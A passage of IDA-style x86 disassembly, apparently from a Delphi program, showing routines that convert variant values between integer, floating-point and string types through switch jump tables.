		mov	edx, [ebp+var_4]
		call	sub_4001278C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E88D


loc_4000E87D:				; CODE XREF: sub_4000E848+43j
		lea	eax, [ebp+var_4]
		call	sub_40006204
		retn
; ---------------------------------------------------------------------------


loc_4000E886:				; DATA XREF: sub_4000E848+Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E87D
; ---------------------------------------------------------------------------


loc_4000E88D:				; CODE XREF: sub_4000E848+3Dj
					; DATA XREF: sub_4000E848+30o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000E848	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E894	proc near		; CODE XREF: sub_4000E9CC+1F1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E8D2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		call	sub_400123C8
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_40012760
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E8D9


loc_4000E8C9:				; CODE XREF: sub_4000E894+43j
		lea	eax, [ebp+var_4]
		call	sub_40006204
		retn
; ---------------------------------------------------------------------------


loc_4000E8D2:				; DATA XREF: sub_4000E894+Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E8C9
; ---------------------------------------------------------------------------


loc_4000E8D9:				; CODE XREF: sub_4000E894+3Dj
					; DATA XREF: sub_4000E894+30o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000E894	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000E8E0	proc near		; CODE XREF: sub_4000E960+60p
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		movzx	eax, word ptr [ebx]
		mov	edx, eax
		and	dx, 0FFFh
		cmp	dx, 14h
		jb	short loc_4000E926
		mov	edx, ebx
		mov	eax, edi
		mov	ecx, 8
		call	sub_4000E9CC
		push	esi
		push	0
		push	400h
		push	edi
		push	edi
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	ecx, esi
		call	sub_4000E034
		jmp	short loc_4000E959
; ---------------------------------------------------------------------------


loc_4000E926:				; CODE XREF: sub_4000E8E0+17j
		mov	edx, esi
		and	dx, 0FFFh
		cmp	dx, 14h
		jnb	short loc_4000E952
		push	esi
		push	0
		push	400h
		push	ebx
		push	edi
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	ecx, esi
		call	sub_4000E034
		jmp	short loc_4000E959
; ---------------------------------------------------------------------------


loc_4000E952:				; CODE XREF: sub_4000E8E0+51j
		mov	edx, esi
		call	sub_4000DBF4


loc_4000E959:				; CODE XREF: sub_4000E8E0+44j
					; sub_4000E8E0+70j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000E8E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000E960	proc near		; CODE XREF: sub_4000E9CC+221p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		movzx	ebp, word ptr [ebx]
		cmp	bp, 101h
		jnz	short loc_4000E982
		mov	edx, ebx
		mov	eax, edi
		mov	ecx, esi
		call	sub_4000E744
		jmp	short loc_4000E9C5
; ---------------------------------------------------------------------------


loc_4000E982:				; CODE XREF: sub_4000E960+13j
		mov	edx, esp
		mov	eax, ebp
		call	sub_40012D98
		test	al, al
		jz	short loc_4000E99F
		push	esi
		mov	ecx, ebx
		mov	edx, edi
		mov	eax, [esp+18h+var_14]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_4000E9C5
; ---------------------------------------------------------------------------


loc_4000E99F:				; CODE XREF: sub_4000E960+2Dj
		mov	edx, esp
		mov	eax, esi
		call	sub_40012D98
		test	al, al
		jz	short loc_4000E9BA
		mov	ecx, ebx
		mov	edx, edi
		mov	eax, [esp+14h+var_14]
		mov	ebx, [eax]
		call	dword ptr [ebx+18h]
		jmp	short loc_4000E9C5
; ---------------------------------------------------------------------------


loc_4000E9BA:				; CODE XREF: sub_4000E960+4Aj
		mov	edx, ebx
		mov	eax, edi
		mov	ecx, esi
		call	sub_4000E8E0


loc_4000E9C5:				; CODE XREF: sub_4000E960+20j
					; sub_4000E960+3Dj ...
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000E960	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E9CC	proc near		; CODE XREF: sub_4000E744+41p
					; sub_4000E8E0+22p ...

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	ecx, edx
		jnz	short loc_4000E9E8
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000E700
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4000E9E8:				; CODE XREF: sub_4000E9CC+Ej
		cmp	ax, 400Ch
		jnz	short loc_4000E9FF
		mov	eax, [ebx+8]
		mov	edx, eax
		mov	eax, esi
		call	sub_4000E9CC
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000E9FF:				; CODE XREF: sub_4000E9CC+20j
		mov	edx, ecx
		cmp	edx, 14h	; switch 21 cases
		ja	loc_4000EBC4	; default
					; jumptable 4000EA0A cases 10,12,14,15
		jmp	ds:off_4000EA11[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000EA11	dd offset loc_4000EA65	; DATA XREF: sub_4000E9CC+3Er
		dd offset loc_4000EA90	; jump table for switch	statement
		dd offset loc_4000EA9C
		dd offset loc_4000EAB1
		dd offset loc_4000EAC6
		dd offset loc_4000EAE0
		dd offset loc_4000EAFA
		dd offset loc_4000EB14
		dd offset loc_4000EB2E
		dd offset loc_4000EBAE
		dd offset loc_4000EBC4
		dd offset loc_4000EB3C
		dd offset loc_4000EBC4
		dd offset loc_4000EBB9
		dd offset loc_4000EBC4
		dd offset loc_4000EBC4
		dd offset loc_4000EB51
		dd offset loc_4000EB66
		dd offset loc_4000EB78
		dd offset loc_4000EB8A
		dd offset loc_4000EB9C
; ---------------------------------------------------------------------------


loc_4000EA65:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		cmp	word ptr [ebx],	1 ; jumptable 4000EA0A case 0
		jnz	short loc_4000EA84
		cmp	byte_4001AA10, 0
		jz	short loc_4000EA84
		xor	edx, edx
		mov	ax, 1
		call	sub_4000DBF4
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EA84:				; CODE XREF: sub_4000E9CC+9Dj
					; sub_4000E9CC+A6j
		mov	eax, esi
		call	sub_4000E3D8
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EA90:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, esi	; jumptable 4000EA0A case 1
		call	sub_4000E140
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EA9C:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 2
		call	sub_4000F33C
		mov	edx, eax
		mov	eax, esi
		call	sub_400125E0
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EAB1:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 3
		call	sub_4000ED90
		mov	edx, eax
		mov	eax, esi
		call	sub_40012540
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EAC6:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 4
		call	sub_400106E4
		add	esp, 0FFFFFFFCh
		fstp	[esp+0Ch+var_C]
		wait
		mov	eax, esi
		call	sub_4001262C
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EAE0:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 5
		call	sub_4001036C
		add	esp, 0FFFFFFF8h
		fstp	qword ptr [esp]
		wait
		mov	eax, esi
		call	sub_40012650
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EAFA:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 6
		call	sub_40011024
		add	esp, 0FFFFFFF8h
		fistp	qword ptr [esp]
		wait
		mov	eax, esi
		call	sub_4001267C
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB14:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 7
		call	sub_40010ABC
		add	esp, 0FFFFFFF8h
		fstp	qword ptr [esp]
		wait
		mov	eax, esi
		call	sub_400126A8
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB2E:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	edx, ebx	; jumptable 4000EA0A case 8
		mov	eax, esi
		call	sub_4000E7B0
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB3C:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 11
		call	sub_4000FE58
		mov	edx, eax
		mov	eax, esi
		call	sub_400126D4
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB51:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 16
		call	sub_4000F1E0
		mov	edx, eax
		mov	eax, esi
		call	sub_400125C0
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB66:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 17
		call	sub_4000F294
		mov	edx, eax
		mov	eax, esi
		call	sub_40012560
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB78:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 18
		call	sub_4000F434
		mov	edx, eax
		mov	eax, esi
		call	sub_40012580
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB8A:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 19
		call	sub_4000F510
		mov	edx, eax
		mov	eax, esi
		call	sub_400125A0
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB9C:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 20
		call	sub_4000F860
		push	edx
		push	eax
		mov	eax, esi
		call	sub_40012600
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBAE:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	edx, ebx	; jumptable 4000EA0A case 9
		mov	eax, esi
		call	sub_4000E848
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBB9:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	edx, ebx	; jumptable 4000EA0A case 13
		mov	eax, esi
		call	sub_4000E894
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBC4:				; CODE XREF: sub_4000E9CC+38j
					; sub_4000E9CC+3Ej
					; DATA XREF: ...
		mov	edx, ecx	; default
					; jumptable 4000EA0A cases 10,12,14,15
		sub	edx, 100h
		jz	short loc_4000EBD3
		dec	edx
		jz	short loc_4000EBDE
		jmp	short loc_4000EBE9
; ---------------------------------------------------------------------------


loc_4000EBD3:				; CODE XREF: sub_4000E9CC+200j
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000E7FC
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBDE:				; CODE XREF: sub_4000E9CC+203j
		mov	dx, 101h
		call	sub_4000DBF4
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBE9:				; CODE XREF: sub_4000E9CC+205j
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000E960


loc_4000EBF2:				; CODE XREF: sub_4000E9CC+2Ej
					; sub_4000E9CC+B3j ...
		pop	esi
		pop	ebx
		retn
sub_4000E9CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000EBF8	proc near		; CODE XREF: sub_4000ED90+15Bp
					; sub_4000ED90+213p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000EC9B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001B0B0
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_4000EC48
		sub	edx, 7FFDFFFBh
		jnz	short loc_4000EC71
		jmp	short loc_4000EC7D
; ---------------------------------------------------------------------------


loc_4000EC48:				; CODE XREF: sub_4000EBF8+44j
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_C]
		lea	edx, [ebp+var_8]
		call	sub_40007DEC
		test	al, al
		jnz	short loc_4000EC7D
		mov	eax, ebx
		call	sub_4000FE58
		and	eax, 7Fh
		mov	[ebp+var_8], eax
		jmp	short loc_4000EC7D
; ---------------------------------------------------------------------------


loc_4000EC71:				; CODE XREF: sub_4000EBF8+4Cj
		movzx	edx, word ptr [ebx]
		mov	cx, 3
		call	sub_4000E034


loc_4000EC7D:				; CODE XREF: sub_4000EBF8+4Ej
					; sub_4000EBF8+68j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000ECA2


loc_4000EC8A:				; CODE XREF: sub_4000EBF8+A8j
		lea	eax, [ebp+var_C]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_4000EC9B:				; DATA XREF: sub_4000EBF8+Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000EC8A
; ---------------------------------------------------------------------------


loc_4000ECA2:				; CODE XREF: sub_4000EBF8+A2j
					; DATA XREF: sub_4000EBF8+8Do
		mov	eax, [ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000EBF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000ECAC	proc near		; CODE XREF: sub_4000ED90+1F0p
					; sub_4000ED90+3F3p ...

var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF0h
		mov	ebx, eax
		push	esp
		call	sub_4000CDD8
		push	3
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+24h+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 3
		call	sub_4000E034
		mov	eax, [esp+14h+var_C]
		add	esp, 10h
		pop	ebx
		retn
sub_4000ECAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000ECE8	proc near		; CODE XREF: sub_4000ED90+223p

var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_4000ED3C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_14]
		call	sub_4000E700
		lea	eax, [ebp+var_14]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_14]
		call	sub_4000ED90
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000ED43


loc_4000ED33:				; CODE XREF: sub_4000ECE8+59j
		lea	eax, [ebp+var_14]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_4000ED3C:				; DATA XREF: sub_4000ECE8+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000ED33
; ---------------------------------------------------------------------------


loc_4000ED43:				; CODE XREF: sub_4000ECE8+53j
					; DATA XREF: sub_4000ECE8+46o
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000ECE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000ED4C	proc near		; CODE XREF: sub_4000ED90+403p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_4000ED87
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	3
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax


loc_4000ED87:				; CODE XREF: sub_4000ED4C+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000ED4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000ED90	proc near		; CODE XREF: sub_4000E9CC+E7p
					; sub_4000ECE8+36p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_4000F1B1
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_4000EF8D	; default
					; jumptable 4000EDBC cases 10,14,15
		jmp	ds:off_4000EDC3[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000EDC3	dd offset loc_4000EE17	; DATA XREF: sub_4000ED90+2Cr
		dd offset loc_4000EE21	; jump table for switch	statement
		dd offset loc_4000EE41
		dd offset loc_4000EE50
		dd offset loc_4000EE5E
		dd offset loc_4000EE7F
		dd offset loc_4000EEA0
		dd offset loc_4000EEC7
		dd offset loc_4000EEE8
		dd offset loc_4000EF7D
		dd offset loc_4000EF8D
		dd offset loc_4000EEF8
		dd offset loc_4000EF6A
		dd offset loc_4000EF7D
		dd offset loc_4000EF8D
		dd offset loc_4000EF8D
		dd offset loc_4000EF07
		dd offset loc_4000EF16
		dd offset loc_4000EF25
		dd offset loc_4000EF34
		dd offset loc_4000EF4B
; ---------------------------------------------------------------------------


loc_4000EE17:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		xor	eax, eax	; jumptable 4000EDBC case 0
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE21:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		cmp	byte_4001AA10, 0 ; jumptable 4000EDBC case 1
		jz	short loc_4000EE37
		mov	dx, 3
		mov	ax, 1
		call	sub_4000DBF4


loc_4000EE37:				; CODE XREF: sub_4000ED90+98j
		xor	eax, eax
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE41:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 2
		movsx	eax, word ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE50:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 3
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE5E:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 4
		fld	dword ptr [eax+8]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EE77
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EE77:				; CODE XREF: sub_4000ED90+E0j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE7F:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 5
		fld	qword ptr [eax+8]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EE98
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EE98:				; CODE XREF: sub_4000ED90+101j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EEA0:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 6
		fild	qword ptr [eax+8]
		fdiv	ds:flt_4000F1DC
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EEBF
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EEBF:				; CODE XREF: sub_4000ED90+128j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EEC7:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 7
		fld	qword ptr [eax+8]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EEE0
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EEE0:				; CODE XREF: sub_4000ED90+149j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EEE8:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 8
		call	sub_4000EBF8
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EEF8:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 11
		movsx	eax, word ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF07:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 16
		movsx	eax, byte ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF16:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 17
		movzx	eax, byte ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF25:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 18
		movzx	eax, word ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF34:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 19
		mov	eax, [eax+8]
		test	eax, eax
		jns	short loc_4000EF43
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EF43:				; CODE XREF: sub_4000ED90+1ACj
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF4B:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 20
		mov	edx, [eax+0Ch]
		mov	eax, [eax+8]
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EF62
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EF62:				; CODE XREF: sub_4000ED90+1CBj
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF6A:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 12
		mov	eax, [eax+8]
		call	sub_4000ED90
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF7D:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC cases 9,13
		call	sub_4000ECAC
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF8D:				; CODE XREF: sub_4000ED90+26j
					; sub_4000ED90+2Cj
					; DATA XREF: ...
		mov	edx, [ebp+var_4] ; default
					; jumptable 4000EDBC cases 10,14,15
		mov	edx, eax
		sub	dx, 100h
		jz	short loc_4000EFA0
		dec	dx
		jz	short loc_4000EFB0
		jmp	short loc_4000EFC0
; ---------------------------------------------------------------------------


loc_4000EFA0:				; CODE XREF: sub_4000ED90+207j
		mov	eax, [ebp+var_4]
		call	sub_4000EBF8
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EFB0:				; CODE XREF: sub_4000ED90+20Cj
		mov	eax, [ebp+var_4]
		call	sub_4000ECE8
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EFC0:				; CODE XREF: sub_4000ED90+20Ej
		mov	edx, [ebp+var_4]
		test	ah, 40h
		jz	loc_4000F18D
		mov	edx, [ebp+var_4]
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_4000F180	; default
					; jumptable 4000EFE0 cases 0,1,9,10,13-15
		jmp	ds:off_4000EFE7[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000EFE7	dd offset loc_4000F180	; DATA XREF: sub_4000ED90+250r
		dd offset loc_4000F180	; jump table for switch	statement
		dd offset loc_4000F03B
		dd offset loc_4000F04C
		dd offset loc_4000F05C
		dd offset loc_4000F07F
		dd offset loc_4000F0A2
		dd offset loc_4000F0CB
		dd offset loc_4000F0EE
		dd offset loc_4000F180
		dd offset loc_4000F180
		dd offset loc_4000F0FE
		dd offset loc_4000F170
		dd offset loc_4000F180
		dd offset loc_4000F180
		dd offset loc_4000F180
		dd offset loc_4000F10F
		dd offset loc_4000F120
		dd offset loc_4000F12E
		dd offset loc_4000F13C
		dd offset loc_4000F152
; ---------------------------------------------------------------------------


loc_4000F03B:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 2
		mov	eax, [eax+8]
		movsx	eax, word ptr [eax]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
